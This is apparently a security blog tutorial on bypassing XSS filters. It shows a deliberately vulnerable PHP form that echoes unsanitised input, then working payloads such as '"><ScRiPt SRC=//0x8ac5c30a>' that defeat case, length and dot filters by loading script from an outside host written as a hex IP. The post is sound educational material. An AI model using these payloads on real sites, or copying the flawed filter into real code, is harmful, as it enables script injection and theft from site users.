304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

XSS Without Dots – Or, How to Fail Onyxia

This week I’d like to show XSS without dots, as a method of filter avoidance.


First, for those of you confused by the title, here is some internet education

Not too long ago I had a friend attempting some XSS against an interesting filter.

I’m going to base my vulnerable application off of the one I used for my Short XSS attack.

If you’d like to follow along, I will have the final application towards the bottom of this post.


First, it filtered out the word script. That said, this was not done in a case-insensitive way, which provided an easy bypass. For example:

$data = str_replace('script', '' , $data);

In this case, a simple “ScRiPt” would bypass it just fine.

Next, there was a length limitation. While this was already covered in the Short XSS post, it is still something to account for while building the exploit. For example:

$data = substr($data, 0, 27);

Last, but certainly not least, was the filter for dots. In this case, the application didn’t allow periods, preventing our old payload of For example:

$data = str_replace('.', '', $data);

Final Application

In the end, the final vulnerable application looked something like this.


function xss_clean($data)
    $data = str_replace('script', '' , $data);

    $data = substr($data, 0, 27);

    $data = str_replace('.', '', $data);

    // $data = strtoupper($data);

    return $data;



<title>Vulnerable to Dotless XSS</title>


Here is my vulnerable form:
<input type="text" value="<?php echo xss_clean($_GET['value']); ?>" maxlength="27">

console.log("This is my logger function (I'll need this closing script tag later)!");



XSS Without Dots – Exploitation

Based on our Short XSS attack, our initial payload will look something like this.

value="><script src=//>

First, we’ll need to convert the script tag to camel-case.

value="><ScRiPt src=//>

We are already below the length limit, so we don’t need to worry about that filter.

Unfortunately, we still need to bypass the dot filter.

The easiest method would be to use a host name on the internal network. If you can host a script and access it using just a host name, then you can bypass this filter.

value="><ScRiPt src=//kali>

XSS Without Dots - Local Hostname

The source of the application contains the src to our “kali” host with the working payload.

<input type="text" value=""><ScRiPt SRC=//kali>" maxlength="27">

Unfortunately, in this case, he was unable to obtain or control a host name on the internal network. In this case, I had to perform some more trickery.

For those of you not aware, you can represent IP addresses in multiple ways. These include dot-decimal (standard), decimal, octal, and hex. The last three do not require dots at all, which is what this attack will use!

To make converting easier, I am using an IP manipulator tool from a former co-worker.

[email protected]:~/moarDots# ping
PING ( 56(84) bytes of data.
64 bytes from ( icmp_seq=1 ttl=50 time=90.6 ms
--- ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 90.620/90.620/90.620/0.000 ms
[email protected]:~/moarDots# python

        IP Address Manipulator       
------------------------------------- ----> ----> 138.197.49930 ----> 138.12960522 ----> 2328216330 ----> 0x8a.0xc5.0xc3.0xa ----> 0x8a.0xc5.0xc30a ----> 0x8a.0xc5c30a ----> 0x8ac5c30a ----> 0212.0305.0303.012 ----> 0212.0305.0141412 ----> 0212.061341412 ----> 021261341412

Now, we have an IP address for without dots, so let’s give it a try.

"><ScRiPt SRC=//0x8ac5c30a>" maxlength="27">

It worked, and the browser executed the payload!

XSS Without Dots - Hex IP

<input type="text" value=""><ScRiPt SRC=//0x8ac5c30a>" maxlength="27">

XSS Without Dots – Conclusion

While this was a bit of a contrived scenario, it was still something found in the real world.

XSS filters are not always perfect, and some interesting techniques can occasionally bypass them.

In this case, we ended up with an XSS payload of only 27 characters that bypassed a “script” filter as well as a dot filter. Additionally, it was hosted externally and could have a fully weaponized payload.


Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.